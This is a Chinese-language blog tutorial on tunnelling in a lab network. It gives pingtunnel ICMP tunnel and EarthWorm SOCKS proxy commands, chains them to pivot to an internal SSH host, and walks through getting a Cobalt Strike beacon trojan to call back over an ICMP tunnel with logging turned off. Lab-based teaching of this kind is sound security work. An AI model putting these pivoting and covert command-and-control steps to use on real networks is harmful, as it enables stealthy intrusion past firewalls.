端口转发与隧道技术

端口转发与隧道技术

Posted by Kyon-H on July 31, 2024

1. 隧道技术

1.1. 概念

隧道技术是指在现有网络协议之上构建封装层,即将一种网络协议的数据包封装在另一种协议的数据包中进行传输。这一过程类似于将数据“装进隧道”,使其在通过复杂或受限的网络环境时,避免被识别、阻断或篡改。

使用场景

  • VPN(虚拟专用网络)
  • 远程办公或远程控制
  • 网络隔离环境中的通信穿透

1.2. 工作原理

  • 数据封装:将原始协议的数据包嵌套封装在另一种协议的数据包中,形成“隧道包”,以便在受限或异构网络中传输。
  • 数据传输:封装后的数据通过指定的隧道协议(如 TCP、UDP、HTTP、ICMP 等)进行传输。
  • 数据解封装:当数据到达隧道接收端时,外层协议被剥离,恢复出原始的数据包,并交由对应的应用或协议栈继续处理。

1.2.1. 常见隧道协议

  • 应用层:SSH、HTTP/S、DNS
  • 传输层:TCP、UDP
  • 网络层:IPv6、ICMP

image.png

注意协议是向下兼容,如果 TCP 协议被禁用了,那么像基于 TCP 协议的 HTTP/S 协议也将不能用。

2. ICMP 隧道技术

network.jpg

ICMP 隧道技术将原本通过 TCP/UDP 协议传输的数据封装进 ICMP Echo 请求/响应(即 Ping 包)中进行传输,从而实现数据的隐蔽通信与防火墙穿透。

2.1. icmp 隧道实现

工具:esrrhs/pingtunnel: Pingtunnel is a tool that send TCP/UDP traffic over ICMP

pringtunnel 程序本身不分客户端和服务端,只是使用的命令不同,所实现的功能就不同。

相关命令

1
2
3
4
5
6
7
# 开启服务端
pringtunnel -type server
# 开启客户端
# tcp转发
pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t SERVER_IP:4455 -tcp 1
# socks5转发
pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -sock5 1

相关参数

1
2
3
4
-key # password
-l # 本地的地址,发到这个端口的流量将转发到服务器
-s # 服务器的地址,流量将通过隧道转发到这个服务器
-t # 远端服务器转发的目的地址,流量将转发到这个地址

2.2. icmp 隧道访问 web

graph LR
A["win-client<br>192.168.11.127"]-->B["kali-server<br>192.168.11.128<br>192.168.22.128"]
B-->C["win-web<br>192.168.22.129"]
1
2
3
4
# win-client
pingtunnel -type client -l 127.0.0.1:1111 -s 192.168.11.128 -t 192.168.22.129:80 -tcp 1
# kali
pingtunnel -type server

2.3. icmp 隧道 CS 上线

flowchart LR
A["cs-client"]-->B["cs-server<br>192.168.22.128:2222"]
C["win<br>192.168.22.129"]
subgraph win
C["127.0.0.1:800"]-->D[192.168.22.129]
end
D-->B

新建监听器

  • 监听器1 用于生成木马,木马通过连接 127.0.0.1:800 上线 image.png

  • 监听器2 用于 cs 服务器监听,端口 2222 image.png

生成后门

使用监听器1 生成木马 beacon_x86.exe,将其复制到目标机

image.png

开启隧道

1
2
3
4
# cs-server
sudo ./pingtunnel -type server
# win
pingtunnel -type client -l 127.0.0.1:800 -s 192.168.22.128 -t 192.168.22.128:2222 -tcp 1 -noprint 1 -nolog 1

运行木马

上线成功

image.png

2.4. EarthWorm SOCKS 代理

EarthWorm 是一款用于开启 SOCKS v5 代理服务的工具,基于标准 C 开发,可提供多平台间的转接通讯,用于复杂网络环境下的数据转发。目前已经永久停止更新了。

下载:idlefire/ew: 内网穿透(跨平台)

ew 有 6 种链路状态:ssocksd(正向代理)、rcsocks(反向代理客户端)、rssocks(反向代理服务端)、lcx_slave、lcx_tran、lcx_listen

参数

1
2
3
4
5
-s ssocksd|rcsocks|rssocks|lcx_slave|lcx_tran|lcx_listen
-d # 反向连接主机地址
-e # 反向连接主机端口
-f # 连接主机地址
-g # 连接端口

正向 socks 代理

graph LR
A["win-client<br>192.168.163.130"]-->B["kali-server<br>192.168.163.132<br>192.168.22.128"]
B-->C["win-web<br>192.168.22.129"]

win-web 使用 HFS 开启 HTTP 服务

image.png

kali 开启 socks 代理

1
./ew -s ssocksd -l 3333

浏览器配置代理

image.png

访问 http://192.168.22.129 成功

反弹 socks 代理

graph BT
A["win-client<br>192.168.163.130"]-->B["kali-server<br>192.168.163.132<br>192.168.22.128"]
C["win-web<br>192.168.22.129"]-->B

同正向 socks 代理,win-web 使用 HFS 开启 HTTP 服务, 另外需要使用 ew 运行反向 socks 服务端

1
ew -s rssocks -d 192.168.22.128 -e 4444

kali-server 运行反弹 socks 客户端

1
sudo ./ew -s rcsocks -l 3333 -e 4444

image.png

win-client 浏览器配置代理

image.png

访问 http://192.168.22.129 成功

2.5. ew+icmp 隧道

[!工具] ew: idlefire/ew pingtunnel: esrrhs/pingtunnel Proxifier: Proxifier

![image.png 534](https://img.ghostliner.top/jIj1RG.png)
graph BT
A["win-client<br>192.168.163.130"]
B["kali-server<br>192.168.163.132<br>192.168.22.128"]
C["192.168.22.129"]
D[127.0.0.1:1111]
E["CentOS<br>192.168.22.130"]
subgraph F[win-web]
	D-->C
end
A-->B
C==ICMP==>B
F-->E

kali-server 开启反向 socks 客户端和 pingtunnel 服务端

1
2
./ew -s rcsocks -l 3333 -e 4444
./pingtunnel -type server

win-web 开启反向 socks 服务端和 pingtunnel 客户端

1
2
pingtunnel -type client -l 127.0.0.1:1111 -s 192.168.22.128 -t 192.168.22.128:4444 -sock5 -1
ew -s rssocks -d 127.0.0.1 -e 1111

image.png

在 win-web 同网段开启另一台主机:CentOS,ip:192.168.22.130,开启 SSH 服务

win-client 使用 Proxifier 配置 SSH 代理

配置代理服务器、端口、协议

image.png

配置代理规则,添加 ssh.exe

image.png

使用cmd 命令行连接 CentOS

1
ssh root@192.168.22.130

连接成功

image.png

3. SMB 隧道技术

Windows 将命名管道通信封装在 SMB 协议中,此流量封装在 SMB 协议中,所以 SMB beacon 相对隐蔽。SMB beacon 不能直接生成可用载荷, 只能使用 PsExec 或 Stageless Payload 上线。